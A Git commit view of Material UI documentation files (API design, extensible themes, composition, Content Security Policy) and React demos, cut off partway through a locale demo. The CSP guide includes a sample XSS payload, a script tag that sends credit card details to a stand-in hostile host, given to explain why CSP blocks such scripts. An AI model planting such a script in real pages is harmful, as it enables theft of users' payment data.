init project
Some checks failed
No response / noResponse (push) Has been cancelled
CI / Continuous releases (push) Has been cancelled
CI / test-dev (macos-latest) (push) Has been cancelled
CI / test-dev (ubuntu-latest) (push) Has been cancelled
CI / test-dev (windows-latest) (push) Has been cancelled
Maintenance / main (push) Has been cancelled
Scorecards supply-chain security / Scorecards analysis (push) Has been cancelled
CodeQL / Analyze (push) Has been cancelled

This commit is contained in:
how2ice
2025-12-12 14:26:25 +09:00
commit 005cf56baf
43188 changed files with 1079531 additions and 0 deletions

View File

@@ -0,0 +1,174 @@
# API design approach
<p class="description">We have learned a great deal regarding how Material UI is used, and the v1 rewrite allowed us to completely rethink the component API.</p>
> API design is hard because you can make it seem simple but it's actually deceptively complex, or make it actually simple but seem complex.
> [@sebmarkbage](https://x.com/sebmarkbage/status/728433349337841665)
As Sebastian Markbage [pointed out](https://2014.jsconf.eu/speakers/sebastian-markbage-minimal-api-surface-area-learning-patterns-instead-of-frameworks.html), no abstraction is superior to wrong abstractions.
We are providing low-level components to maximize composition capabilities.
## Composition
You may have noticed some inconsistency in the API regarding composing components.
To provide some transparency, we have been using the following rules when designing the API:
1. Using the `children` prop is the idiomatic way to do composition with React.
2. Sometimes we only need limited child composition, for instance when we don't need to allow child order permutations.
In this case, providing explicit props makes the implementation simpler and more performant; for example, the `Tab` takes an `icon` and a `label` prop.
3. API consistency matters.
## Rules
Aside from the above composition trade-off, we enforce the following rules:
### Spread
Props supplied to a component which are not explicitly documented are spread to the root element;
for instance, the `className` prop is applied to the root.
Now, let's say you want to disable the ripples on the `MenuItem`.
You can take advantage of the spread behavior:
```jsx
<MenuItem disableRipple />
```
The `disableRipple` prop will flow this way: [`MenuItem`](/material-ui/api/menu-item/) > [`ListItem`](/material-ui/api/list-item/) > [`ButtonBase`](/material-ui/api/button-base/).
### Native properties
We avoid documenting native properties supported by the DOM like [`className`](/material-ui/customization/how-to-customize/#overriding-styles-with-class-names).
### CSS Classes
All components accept a [`classes`](/material-ui/customization/how-to-customize/#overriding-styles-with-class-names) prop to customize the styles.
The classes design answers two constraints:
to make the classes structure as simple as possible, while sufficient to implement the Material Design guidelines.
- The class applied to the root element is always called `root`.
- All the default styles are grouped in a single class.
- The classes applied to non-root elements are prefixed with the name of the element, for example `paperWidthXs` in the Dialog component.
- The variants applied by a boolean prop **aren't** prefixed, for example the `rounded` class
applied by the `rounded` prop.
- The variants applied by an enum prop **are** prefixed, for example the `colorPrimary` class
applied by the `color="primary"` prop.
- A variant has **one level of specificity**.
The `color` and `variant` props are considered a variant.
The lower the style specificity is, the simpler it is to override.
- We increase the specificity for a variant modifier.
We already **have to do it** for the pseudo-classes (`:hover`, `:focus`, etc.).
It allows much more control at the cost of more boilerplate.
Hopefully, it's also more intuitive.
```js
const styles = {
root: {
color: green[600],
'&$checked': {
color: green[500],
},
},
checked: {},
};
```
### Nested components
Nested components inside a component have:
- their own flattened props when these are key to the top level component abstraction,
for instance an `id` prop for the `Input` component.
- their own `xxxProps` prop when users might need to tweak the internal render method's subcomponents,
for instance, exposing the `inputProps` and `InputProps` props on components that use `Input` internally.
- their own `xxxComponent` prop for performing component injection.
- their own `xxxRef` prop when you might need to perform imperative actions,
for instance, exposing an `inputRef` prop to access the native `input` on the `Input` component.
This helps answer the question ["How can I access the DOM element?"](/material-ui/getting-started/faq/#how-can-i-access-the-dom-element)
### Prop naming
- **Boolean**
- The default value of a boolean prop should be `false`. This allows for better shorthand notation. Consider an example of an input that is enabled by default. How should you name the prop that controls this state? It should be called `disabled`:
```jsx
❌ <Input enabled={false} />
✅ <Input disabled />
```
- If the name of the boolean is a single word, it should be an adjective or a noun rather than a verb. This is because props describe _states_ and not _actions_. For example an input prop can be controlled by a state, which wouldn't be described with a verb:
```jsx
const [disabled, setDisabled] = React.useState(false);
❌ <Input disable={disabled} />
✅ <Input disabled={disabled} />
```
### Controlled components
Most controlled components are controlled by the `value` and the `onChange` props.
The `open` / `onClose` / `onOpen` combination is also used for displaying related state.
In the cases where there are more events, the noun comes first, and then the verb—for example: `onPageChange`, `onRowsChange`.
:::info
- A component is **controlled** when it's managed by its parent using props.
- A component is **uncontrolled** when it's managed by its own local state.
Learn more about controlled and uncontrolled components in the [React documentation](https://react.dev/learn/sharing-state-between-components#controlled-and-uncontrolled-components).
:::
### boolean vs. enum
There are two options to design the API for the variations of a component: with a _boolean_; or with an _enum_.
For example, let's take a button that has different types. Each option has its pros and cons:
- Option 1 _boolean_:
```tsx
type Props = {
contained: boolean;
fab: boolean;
};
```
This API enables the shorthand notation:
`<Button>`, `<Button contained />`, `<Button fab />`.
- Option 2 _enum_:
```tsx
type Props = {
variant: 'text' | 'contained' | 'fab';
};
```
This API is more verbose:
`<Button>`, `<Button variant="contained">`, `<Button variant="fab">`.
However, it prevents an invalid combination from being used,
bounds the number of props exposed,
and can easily support new values in the future.
The Material UI components use a combination of the two approaches according to the following rules:
- A _boolean_ is used when **2** possible values are required.
- An _enum_ is used when **> 2** possible values are required, or if there is the possibility that additional possible values may be required in the future.
Going back to the previous button example; since it requires 3 possible values, we use an _enum_.
### Ref
The `ref` is forwarded to the root element. This means that, without changing the rendered root element
via the `component` prop, it is forwarded to the outermost DOM element which the component
renders. If you pass a different component via the `component` prop, the ref will be attached
to that component instead.
## Glossary
- **host component**: a DOM node type in the context of `react-dom`, for example a `'div'`. See also [React Implementation Notes](https://legacy.reactjs.org/docs/implementation-notes.html#mounting-host-elements).
- **host element**: a DOM node in the context of `react-dom`, for example an instance of `window.HTMLDivElement`.
- **outermost**: The first component when reading the component tree from top to bottom, that is breadth-first search.
- **root component**: the outermost component that renders a host component.
- **root element**: the outermost element that renders a host component.

View File

@@ -0,0 +1,161 @@
import Box from '@mui/material/Box';
import Button from '@mui/material/Button';
import { ThemeProvider, createTheme } from '@mui/material/styles';
/**
* Branded theme: you might want to export this as a separate file
*/
const brandedTokens = {
palette: {
primary: {
main: '#000000',
},
secondary: {
main: 'rgb(229, 229, 234)',
},
},
shape: {
borderRadius: 4,
},
typography: {
fontFamily:
'var(--font-primary, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif)',
},
shadows: [
'none',
'0 1px 2px 0 rgb(0 0 0 / 0.05)',
'0 1px 3px 0 rgb(0 0 0 / 0.1), 0 1px 2px -1px rgb(0 0 0 / 0.1)',
'0 2px 4px 0 rgb(0 0 0 / 0.06)',
'0 2px 4px -1px rgb(0 0 0 / 0.06), 0 1px 2px -1px rgb(0 0 0 / 0.04)',
'0 3px 5px -1px rgb(0 0 0 / 0.07), 0 1px 3px -1px rgb(0 0 0 / 0.05)',
'0 4px 6px -1px rgb(0 0 0 / 0.07), 0 2px 4px -1px rgb(0 0 0 / 0.05)',
'0 5px 8px -2px rgb(0 0 0 / 0.08), 0 2px 4px -1px rgb(0 0 0 / 0.05)',
'0 6px 10px -2px rgb(0 0 0 / 0.08), 0 3px 5px -2px rgb(0 0 0 / 0.06)',
'0 8px 12px -3px rgb(0 0 0 / 0.09), 0 3px 6px -2px rgb(0 0 0 / 0.06)',
'0 10px 15px -3px rgb(0 0 0 / 0.1), 0 4px 7px -3px rgb(0 0 0 / 0.07)',
'0 12px 18px -4px rgb(0 0 0 / 0.11), 0 5px 9px -3px rgb(0 0 0 / 0.08)',
'0 15px 22px -4px rgb(0 0 0 / 0.12), 0 6px 11px -4px rgb(0 0 0 / 0.09)',
'0 18px 28px -5px rgb(0 0 0 / 0.13), 0 7px 13px -4px rgb(0 0 0 / 0.1)',
'0 22px 34px -6px rgb(0 0 0 / 0.14), 0 8px 16px -5px rgb(0 0 0 / 0.11)',
'0 26px 40px -7px rgb(0 0 0 / 0.15), 0 10px 19px -5px rgb(0 0 0 / 0.12)',
'0 31px 47px -8px rgb(0 0 0 / 0.16), 0 12px 23px -6px rgb(0 0 0 / 0.13)',
'0 36px 54px -9px rgb(0 0 0 / 0.17), 0 14px 27px -7px rgb(0 0 0 / 0.14)',
'0 42px 62px -10px rgb(0 0 0 / 0.18), 0 16px 31px -8px rgb(0 0 0 / 0.15)',
'0 48px 70px -11px rgb(0 0 0 / 0.2), 0 18px 36px -9px rgb(0 0 0 / 0.16)',
'0 54px 78px -12px rgb(0 0 0 / 0.21), 0 20px 41px -10px rgb(0 0 0 / 0.17)',
'0 60px 86px -13px rgb(0 0 0 / 0.22), 0 23px 46px -11px rgb(0 0 0 / 0.18)',
'0 66px 94px -14px rgb(0 0 0 / 0.23), 0 26px 52px -12px rgb(0 0 0 / 0.19)',
'0 72px 102px -15px rgb(0 0 0 / 0.24), 0 29px 58px -13px rgb(0 0 0 / 0.2)',
'0 58px 82px -11px rgb(0 0 0 / 0.26), 0 21px 40px -11px rgb(0 0 0 / 0.22)',
],
};
const brandedComponents = {
MuiButton: {
defaultProps: {
disableElevation: true,
},
styleOverrides: {
root: ({ theme }) => ({
minWidth: 'unset',
textTransform: 'capitalize',
fontSize: '1rem',
'&:hover': {
textDecoration: 'underline',
},
[theme.breakpoints.up('md')]: {
fontSize: '0.875rem',
},
}),
},
},
};
const brandedTheme = createTheme({
...brandedTokens,
components: brandedComponents,
});
/**
* Application theme
*/
const appTheme = createTheme({
...brandedTokens,
palette: {
...brandedTokens.palette,
primary: {
main: '#1976d2',
},
},
components: {
...brandedComponents,
MuiButton: {
styleOverrides: {
root: [
brandedComponents?.MuiButton?.styleOverrides?.root,
{
transition: 'transform 0.2s ease-in-out',
'&:hover': {
transform: 'translateY(-2px)',
},
},
],
},
},
},
});
function App1() {
return (
<ThemeProvider theme={appTheme}>
<Button>App Button</Button>
</ThemeProvider>
);
}
const appTheme2 = createTheme({
...brandedTokens,
palette: {
...brandedTokens.palette,
primary: {
main: '#ffa726',
},
},
components: {
...brandedComponents,
MuiButton: {
defaultProps: {
...brandedComponents?.MuiButton?.defaultProps,
variant: 'outlined',
},
styleOverrides: {
root: [
brandedComponents?.MuiButton?.styleOverrides?.root,
({ theme }) => ({
color: theme.palette.primary.dark,
}),
],
},
},
},
});
function App2() {
return (
<ThemeProvider theme={appTheme2}>
<Button>App 2 Button</Button>
</ThemeProvider>
);
}
export default function ExtensibleThemes() {
return (
<Box sx={{ display: 'flex', flexDirection: 'column', gap: 2 }}>
<ThemeProvider theme={brandedTheme}>
<Button>Branded Button</Button>
</ThemeProvider>
<App1 />
<App2 />
</Box>
);
}

View File

@@ -0,0 +1,161 @@
import Box from '@mui/material/Box';
import Button from '@mui/material/Button';
import { ThemeProvider, createTheme, type ThemeOptions } from '@mui/material/styles';
/**
* Branded theme: you might want to export this as a separate file
*/
const brandedTokens: ThemeOptions = {
palette: {
primary: {
main: '#000000',
},
secondary: {
main: 'rgb(229, 229, 234)',
},
},
shape: {
borderRadius: 4,
},
typography: {
fontFamily:
'var(--font-primary, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif)',
},
shadows: [
'none',
'0 1px 2px 0 rgb(0 0 0 / 0.05)',
'0 1px 3px 0 rgb(0 0 0 / 0.1), 0 1px 2px -1px rgb(0 0 0 / 0.1)',
'0 2px 4px 0 rgb(0 0 0 / 0.06)',
'0 2px 4px -1px rgb(0 0 0 / 0.06), 0 1px 2px -1px rgb(0 0 0 / 0.04)',
'0 3px 5px -1px rgb(0 0 0 / 0.07), 0 1px 3px -1px rgb(0 0 0 / 0.05)',
'0 4px 6px -1px rgb(0 0 0 / 0.07), 0 2px 4px -1px rgb(0 0 0 / 0.05)',
'0 5px 8px -2px rgb(0 0 0 / 0.08), 0 2px 4px -1px rgb(0 0 0 / 0.05)',
'0 6px 10px -2px rgb(0 0 0 / 0.08), 0 3px 5px -2px rgb(0 0 0 / 0.06)',
'0 8px 12px -3px rgb(0 0 0 / 0.09), 0 3px 6px -2px rgb(0 0 0 / 0.06)',
'0 10px 15px -3px rgb(0 0 0 / 0.1), 0 4px 7px -3px rgb(0 0 0 / 0.07)',
'0 12px 18px -4px rgb(0 0 0 / 0.11), 0 5px 9px -3px rgb(0 0 0 / 0.08)',
'0 15px 22px -4px rgb(0 0 0 / 0.12), 0 6px 11px -4px rgb(0 0 0 / 0.09)',
'0 18px 28px -5px rgb(0 0 0 / 0.13), 0 7px 13px -4px rgb(0 0 0 / 0.1)',
'0 22px 34px -6px rgb(0 0 0 / 0.14), 0 8px 16px -5px rgb(0 0 0 / 0.11)',
'0 26px 40px -7px rgb(0 0 0 / 0.15), 0 10px 19px -5px rgb(0 0 0 / 0.12)',
'0 31px 47px -8px rgb(0 0 0 / 0.16), 0 12px 23px -6px rgb(0 0 0 / 0.13)',
'0 36px 54px -9px rgb(0 0 0 / 0.17), 0 14px 27px -7px rgb(0 0 0 / 0.14)',
'0 42px 62px -10px rgb(0 0 0 / 0.18), 0 16px 31px -8px rgb(0 0 0 / 0.15)',
'0 48px 70px -11px rgb(0 0 0 / 0.2), 0 18px 36px -9px rgb(0 0 0 / 0.16)',
'0 54px 78px -12px rgb(0 0 0 / 0.21), 0 20px 41px -10px rgb(0 0 0 / 0.17)',
'0 60px 86px -13px rgb(0 0 0 / 0.22), 0 23px 46px -11px rgb(0 0 0 / 0.18)',
'0 66px 94px -14px rgb(0 0 0 / 0.23), 0 26px 52px -12px rgb(0 0 0 / 0.19)',
'0 72px 102px -15px rgb(0 0 0 / 0.24), 0 29px 58px -13px rgb(0 0 0 / 0.2)',
'0 58px 82px -11px rgb(0 0 0 / 0.26), 0 21px 40px -11px rgb(0 0 0 / 0.22)',
],
};
const brandedComponents: ThemeOptions['components'] = {
MuiButton: {
defaultProps: {
disableElevation: true,
},
styleOverrides: {
root: ({ theme }) => ({
minWidth: 'unset',
textTransform: 'capitalize',
fontSize: '1rem',
'&:hover': {
textDecoration: 'underline',
},
[theme.breakpoints.up('md')]: {
fontSize: '0.875rem',
},
}),
},
},
};
const brandedTheme = createTheme({
...brandedTokens,
components: brandedComponents,
});
/**
* Application theme
*/
const appTheme = createTheme({
...brandedTokens,
palette: {
...brandedTokens.palette,
primary: {
main: '#1976d2',
},
},
components: {
...brandedComponents,
MuiButton: {
styleOverrides: {
root: [
brandedComponents?.MuiButton?.styleOverrides?.root,
{
transition: 'transform 0.2s ease-in-out',
'&:hover': {
transform: 'translateY(-2px)',
},
},
],
},
},
},
});
function App1() {
return (
<ThemeProvider theme={appTheme}>
<Button>App Button</Button>
</ThemeProvider>
);
}
const appTheme2 = createTheme({
...brandedTokens,
palette: {
...brandedTokens.palette,
primary: {
main: '#ffa726',
},
},
components: {
...brandedComponents,
MuiButton: {
defaultProps: {
...brandedComponents?.MuiButton?.defaultProps,
variant: 'outlined',
},
styleOverrides: {
root: [
brandedComponents?.MuiButton?.styleOverrides?.root,
({ theme }) => ({
color: theme.palette.primary.dark,
}),
],
},
},
},
});
function App2() {
return (
<ThemeProvider theme={appTheme2}>
<Button>App 2 Button</Button>
</ThemeProvider>
);
}
export default function ExtensibleThemes() {
return (
<Box sx={{ display: 'flex', flexDirection: 'column', gap: 2 }}>
<ThemeProvider theme={brandedTheme}>
<Button>Branded Button</Button>
</ThemeProvider>
<App1 />
<App2 />
</Box>
);
}

View File

@@ -0,0 +1,5 @@
<ThemeProvider theme={brandedTheme}>
<Button>Branded Button</Button>
</ThemeProvider>
<App1 />
<App2 />

View File

@@ -0,0 +1,141 @@
# Building extensible themes
<p class="description">Learn how to build extensible themes with Material UI.</p>
## Introduction
This guide describes recommendations for building a brand-specific theme with Material UI that can be easily extended and customized across multiple apps that consume it.
## Branded theme
This is the source of truth for the brand-specific theme.
It represents the brand's visual identity through colors, typography, spacing, and more.
In general, it's recommended to export tokens, components, and the branded theme from a file, as shown here:
```js title="brandedTheme.ts"
import { createTheme } from '@mui/material/styles';
import type { ThemeOptions } from '@mui/material/styles';
export const brandedTokens: ThemeOptions = {
palette: {
primary: {
main: '#000000',
},
secondary: {
main: 'rgb(229, 229, 234)',
},
},
shape: {
borderRadius: 4,
},
typography: {
fontFamily:
'var(--font-primary, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif)',
},
};
export const brandedComponents: ThemeOptions['components'] = {
MuiButton: {
defaultProps: {
disableElevation: true,
},
styleOverrides: {
root: {
minWidth: 'unset',
textTransform: 'capitalize',
'&:hover': {
textDecoration: 'underline',
},
},
},
},
};
const brandedTheme = createTheme({
...brandedTokens,
components: brandedComponents,
});
export default brandedTheme;
```
For a more optimized approach, you can split the branded components into multiple files.
This way, consumers of the theme can choose to import only what they need at the application level.
```js title="brandedButtons.ts"
import type { ThemeOptions } from "@mui/material/styles";
export const buttonTheme: ThemeOptions["components"] = {
MuiButtonBase: {},
MuiButton: {},
MuiIconButton: {},
};
```
```js title="brandedTheme.ts"
import { buttonTheme } from './brandedButtons';
// import other branded components as needed
export const brandedTokens: ThemeOptions = {}
export default createTheme({
...brandedTokens,
components: {
...buttonTheme,
// other branded components
},
});
```
## Application theme
Consumers of the branded theme may choose to use it directly in their applications, or extend it to better suit their specific use cases.
Using the branded button as an example, a consumer could customize its hover styles as shown below:
```js title="appTheme.ts"
import { createTheme } from '@mui/material/styles';
import { brandedTokens, brandedComponents } from './brandedTheme'; // or from an npm package.
const appTheme = createTheme({
...brandedTokens,
palette: {
...brandedTokens.palette,
primary: {
main: '#1976d2',
},
},
components: {
...brandedComponents,
MuiButton: {
styleOverrides: {
root: [
// Use array syntax to preserve the branded theme styles.
brandedComponents?.MuiButton?.styleOverrides?.root,
{
'&:hover': {
transform: 'translateY(-2px)',
},
},
],
},
},
},
});
```
### Merging branded theme
When merging the branded theme with the application theme, it's recommended to use the object spread syntax for tokens like palette, typography, and shape.
For components, use the array syntax to ensure that the [variants](/material-ui/customization/theme-components/#variants), states, and pseudo-class styles from the branded theme are preserved.
:::warning
We don't recommend JavaScript functions or any utilities to do a deep merge between the branded and the application theme.
Doing so will introduce performance overhead on the first render of the application. The impact depends on the size of the themes.
:::
## Full example
{{"demo": "ExtensibleThemes.js", "defaultCodeOpen": true}}

View File

@@ -0,0 +1,21 @@
import IconButton from '@mui/material/IconButton';
import Icon from '@mui/material/Icon';
function WrappedIcon(props) {
return <Icon {...props} />;
}
WrappedIcon.muiName = 'Icon';
export default function Composition() {
return (
<div>
<IconButton>
<Icon>alarm</Icon>
</IconButton>
<IconButton>
<WrappedIcon>alarm</WrappedIcon>
</IconButton>
</div>
);
}

View File

@@ -0,0 +1,20 @@
import IconButton from '@mui/material/IconButton';
import Icon, { IconProps } from '@mui/material/Icon';
function WrappedIcon(props: IconProps) {
return <Icon {...props} />;
}
WrappedIcon.muiName = 'Icon';
export default function Composition() {
return (
<div>
<IconButton>
<Icon>alarm</Icon>
</IconButton>
<IconButton>
<WrappedIcon>alarm</WrappedIcon>
</IconButton>
</div>
);
}

View File

@@ -0,0 +1,6 @@
<IconButton>
<Icon>alarm</Icon>
</IconButton>
<IconButton>
<WrappedIcon>alarm</WrappedIcon>
</IconButton>

View File

@@ -0,0 +1,244 @@
# Composition
<p class="description">Material UI tries to make composition as easy as possible.</p>
## Wrapping components
To provide maximum flexibility and performance, Material UI needs a way to know the nature of the child elements a component receives.
To solve this problem, we tag some of the components with a `muiName` static property when needed.
You may, however, need to wrap a component in order to enhance it, which can conflict with the `muiName` solution.
If you wrap a component, verify if that component has this static property set.
If you encounter this issue, you need to use the same tag for your wrapping component that is used with the wrapped component.
In addition, you should forward the props, as the parent component may need to control the wrapped components props.
Let's see an example:
```jsx
const WrappedIcon = (props) => <Icon {...props} />;
WrappedIcon.muiName = Icon.muiName;
```
{{"demo": "Composition.js"}}
### Forwarding slot props
Use the `mergeSlotProps` utility function to merge custom props with the slot props.
If the arguments are functions then they'll be resolved before merging, and the result from the first argument will override the second.
Special properties that merged between the two arguments are listed below:
- `className`: values are concatenated rather than overriding one another.
In the snippet below, the `custom-tooltip-popper` class is applied to the Tooltip's popper slot.
```jsx
import Tooltip, { TooltipProps } from '@mui/material/Tooltip';
import { mergeSlotProps } from '@mui/material/utils';
export const CustomTooltip = (props: TooltipProps) => {
const { children, title, sx: sxProps } = props;
return (
<Tooltip
{...props}
title={<Box sx={{ p: 4 }}>{title}</Box>}
slotProps={{
...props.slotProps,
popper: mergeSlotProps(props.slotProps?.popper, {
className: 'custom-tooltip-popper',
disablePortal: true,
placement: 'top',
}),
}}
>
{children}
</Tooltip>
);
};
```
If you added another `className` via the `slotProps` prop on the Custom Tooltip—as shown below—then both would be present on the rendered popper slot:
```js
<CustomTooltip slotProps={{ popper: { className: 'foo' } }} />
```
The popper slot in the original example would now have both classes applied to it, in addition to any others that may be present: `"[…] custom-tooltip-popper foo"`.
- `style`: object are shallow merged rather than replacing one another. The style keys from the first argument have higher priority.
- `sx`: values are concatenated into an array.
- `^on[A-Z]` event handlers: these functions are composed between the two arguments.
```js
mergeSlotProps(props.slotProps?.popper, {
onClick: (event) => {}, // composed with the `slotProps?.popper?.onClick`
createPopper: (popperOptions) => {}, // overridden by the `slotProps?.popper?.createPopper`
});
```
## Component prop
Material UI allows you to change the root element that will be rendered via a prop called `component`.
For example, by default a `List` component will render a `<ul>` element.
This can be changed by passing a [React component](https://react.dev/reference/react/Component) to the `component` prop.
The following example renders the `List` component with a `<menu>` element as root element instead:
```jsx
<List component="menu">
<ListItem>
<ListItemButton>
<ListItemText primary="Trash" />
</ListItemButton>
</ListItem>
<ListItem>
<ListItemButton>
<ListItemText primary="Spam" />
</ListItemButton>
</ListItem>
</List>
```
This pattern is very powerful and allows for great flexibility, as well as a way to interoperate with other libraries, such as your favorite routing or forms library.
### Passing other React components
You can pass any other React component to `component` prop. For example, you can pass `Link` component from `react-router`:
```tsx
import { Link } from 'react-router';
import Button from '@mui/material/Button';
function Demo() {
return (
<Button component={Link} to="/react-router">
React router link
</Button>
);
}
```
### With TypeScript
To be able to use the `component` prop, the type of the props should be used with type arguments. Otherwise, the `component` prop will not be present.
The examples below use `TypographyProps` but the same will work for any component which has props defined with `OverrideProps`.
```ts
import { TypographyProps } from '@mui/material/Typography';
function CustomComponent(props: TypographyProps<'a', { component: 'a' }>) {
/* ... */
}
// ...
<CustomComponent component="a" />;
```
Now the `CustomComponent` can be used with a `component` prop which should be set to `'a'`.
In addition, the `CustomComponent` will have all props of a `<a>` HTML element.
The other props of the `Typography` component will also be present in props of the `CustomComponent`.
You can find a code example with the Button and react-router in [these demos](/material-ui/integrations/routing/#component-prop).
### Generic
It's also possible to have a generic custom component which accepts any React component, including [built-in components](https://react.dev/reference/react-dom/components/common).
```ts
function GenericCustomComponent<C extends React.ElementType>(
props: TypographyProps<C, { component?: C }>,
) {
/* ... */
}
```
If the `GenericCustomComponent` is used with a `component` prop provided, it should also have all props required by the provided component.
```ts
function ThirdPartyComponent({ prop1 }: { prop1: string }) {
/* ... */
}
// ...
<GenericCustomComponent component={ThirdPartyComponent} prop1="some value" />;
```
The `prop1` became required for the `GenericCustomComponent` as the `ThirdPartyComponent` has it as a requirement.
Not every component fully supports any component type you pass in.
If you encounter a component that rejects its `component` props in TypeScript, please open an issue.
There is an ongoing effort to fix this by making component props generic.
## Caveat with refs
This section covers caveats when using a custom component as `children` or for the
`component` prop.
Some of the components need access to the DOM node. This was previously possible
by using `ReactDOM.findDOMNode`. This function is deprecated in favor of `ref` and
ref forwarding. However, only the following component types can be given a `ref`:
- Any Material UI component
- class components, that is `React.Component` or `React.PureComponent`
- DOM (or host) components, for example `div` or `button`
- [React.forwardRef components](https://react.dev/reference/react/forwardRef)
- [React.lazy components](https://react.dev/reference/react/lazy)
- [React.memo components](https://react.dev/reference/react/memo)
If you don't use one of the above types when using your components in conjunction with Material UI, you might see a warning from
React in your console similar to:
:::warning
Function components cannot be given refs. Attempts to access this ref will fail. Did you mean to use React.forwardRef()?
:::
Note that you will still get this warning for `lazy` and `memo` components if their wrapped component can't hold a ref.
In some instances, an additional warning is issued to help with debugging, similar to:
:::warning
Invalid prop `component` supplied to `ComponentName`. Expected an element type that can hold a ref.
:::
Only the two most common use cases are covered. For more information see [this section in the official React docs](https://react.dev/reference/react/forwardRef).
```diff
-const MyButton = () => <div role="button" />;
+const MyButton = React.forwardRef((props, ref) =>
+ <div role="button" {...props} ref={ref} />);
<Button component={MyButton} />;
```
```diff
-const SomeContent = props => <div {...props}>Hello, World!</div>;
+const SomeContent = React.forwardRef((props, ref) =>
+ <div {...props} ref={ref}>Hello, World!</div>);
<Tooltip title="Hello again."><SomeContent /></Tooltip>;
```
To find out if the Material UI component you're using has this requirement, check
out the props API documentation for that component. If you need to forward refs
the description will link to this section.
### Caveat with StrictMode
If you use class components for the cases described above you will still see
warnings in `React.StrictMode`.
`ReactDOM.findDOMNode` is used internally for backwards compatibility.
You can use `React.forwardRef` and a designated prop in your class component to forward the `ref` to a DOM component.
Doing so should not trigger any more warnings related to the deprecation of `ReactDOM.findDOMNode`.
```diff
class Component extends React.Component {
render() {
- const { props } = this;
+ const { forwardedRef, ...props } = this.props;
return <div {...props} ref={forwardedRef} />;
}
}
-export default Component;
+export default React.forwardRef((props, ref) => <Component {...props} forwardedRef={ref} />);
```

View File

@@ -0,0 +1,180 @@
# Content Security Policy (CSP)
<p class="description">This section covers the details of setting up a CSP.</p>
## What is CSP and why is it useful?
CSP mitigates cross-site scripting (XSS) attacks by requiring developers to whitelist the sources their assets are retrieved from. This list is returned as a header from the server. For instance, say you have a site hosted at `https://example.com` the CSP header `default-src: 'self';` will allow all assets that are located at `https://example.com/*` and deny all others. If there is a section of your website that is vulnerable to XSS where unescaped user input is displayed, an attacker could input something like:
```html
<script>
sendCreditCardDetails('https://hostile.example');
</script>
```
This vulnerability would allow the attacker to execute anything. However, with a secure CSP header, the browser will not load this script.
You can read more about CSP on the [MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP).
## How does one implement CSP?
### Server-Side Rendering (SSR)
To use CSP with Material UI (and Emotion), you need to use a nonce.
A nonce is a randomly generated string that is only used once, therefore you need to add server middleware to generate one on each request.
A CSP nonce is a Base 64 encoded string. You can generate one like this:
```js
import crypto from 'node:crypto';
const nonce = crypto.randomBytes(16).toString('base64'); // 128 bits of entropy
```
This generates a value that satisfies the [W3C CSP specification](https://w3c.github.io/webappsec-csp/#security-nonces) guidelines.
You then apply this nonce to the CSP header. A CSP header might look like this with the nonce applied:
```js
header('Content-Security-Policy').set(
`default-src 'self'; style-src 'self' 'nonce-${nonce}';`,
);
```
You should pass the nonce in the `<style>` tags on the server.
```jsx
<style
data-emotion={`${style.key} ${style.ids.join(' ')}`}
nonce={nonce}
dangerouslySetInnerHTML={{ __html: style.css }}
/>
```
Then, you must pass this nonce to Emotion's cache so it can add it to subsequent `<style>`.
:::warning
If you were using `StyledEngineProvider` with `injectFirst`, you will need to replace it with `CacheProvider` from Emotion and add the `prepend: true` option.
:::
```js
const cache = createCache({
key: 'my-prefix-key',
nonce: nonce,
prepend: true,
});
function App(props) {
return (
<CacheProvider value={cache}>
<Home />
</CacheProvider>
);
}
```
### CSP in Vite
When deploying a CSP using Vite, there are specific configurations you must set up due to Vite's internal handling of assets and modules.
See [Vite Features—Content Security Policy](https://vite.dev/guide/features.html#content-security-policy-csp) for complete details.
### Next.js Pages Router
For the Next.js Pages Router, after [setting up a nonce](https://nextjs.org/docs/app/building-your-application/configuring/content-security-policy#nonces), pass it to the Emotion cache in two places:
1. In `_document.tsx`:
```tsx
import {
DocumentHeadTags,
documentGetInitialProps,
createEmotionCache,
} from '@mui/material-nextjs/v15-pagesRouter';
// other imports
type Props = DocumentInitialProps & DocumentHeadTagsProps & { nonce?: string };
export default function MyDocument(props: Props) {
const { nonce } = props;
return (
<Html lang="en" className={roboto.className}>
<Head>
{/*...*/}
<meta name="csp-nonce" content={nonce} />
<DocumentHeadTags {...props} nonce={nonce} />
</Head>
<body>
{/*...*/}
<NextScript nonce={nonce} />
</body>
</Html>
);
}
MyDocument.getInitialProps = async (ctx: DocumentContext) => {
const { req } = ctx;
const nonce = req?.headers['x-nonce'];
if (typeof nonce !== 'string') {
throw new Error('"nonce" header is missing');
}
const emotionCache = createEmotionCache({ nonce });
const finalProps = await documentGetInitialProps(ctx, {
emotionCache,
});
return { ...finalProps, nonce };
};
```
2. In `_app.tsx` (if you're setting up the `AppCacheProvider`):
```tsx
import { createEmotionCache } from '@mui/material-nextjs/v15-pagesRouter';
// other imports
export default function MyApp(props: AppProps & { nonce: string }) {
const { Component, pageProps, nonce } = props;
const emotionCache = useMemo(() => {
const nonce = props.nonce || getNonce();
return createEmotionCache({ nonce });
}, [props.nonce]);
return (
<AppCacheProvider {...props} emotionCache={emotionCache}>
{/* ... */}
</AppCacheProvider>
);
}
function getNonce(headers?: Record<string, string | string[] | undefined>) {
if (headers) {
return headers['x-nonce'] as string;
}
if (typeof document !== 'undefined') {
const nonceMeta = document.querySelector('meta[name="csp-nonce"]');
if (nonceMeta) {
return nonceMeta.getAttribute('content') || undefined;
}
}
return undefined;
}
MyApp.getInitialProps = async (appContext: AppContext) => {
const nonce = getNonce(appContext.ctx?.req?.headers);
if (typeof nonce !== 'string') {
throw new Error('"nonce" header is missing');
}
return { ...otherProps, nonce };
};
```
### styled-components
The configuration of the nonce is not straightforward, but you can follow [this issue](https://github.com/styled-components/styled-components/issues/2363) for more insights.

View File

@@ -0,0 +1,45 @@
import * as React from 'react';
import TablePagination from '@mui/material/TablePagination';
import Autocomplete from '@mui/material/Autocomplete';
import Box from '@mui/material/Box';
import TextField from '@mui/material/TextField';
import { createTheme, ThemeProvider, useTheme } from '@mui/material/styles';
import * as locales from '@mui/material/locale';
export default function Locales() {
const [locale, setLocale] = React.useState('zhCN');
const theme = useTheme();
const themeWithLocale = React.useMemo(
() => createTheme(theme, locales[locale]),
[locale, theme],
);
return (
<Box sx={{ width: '100%' }}>
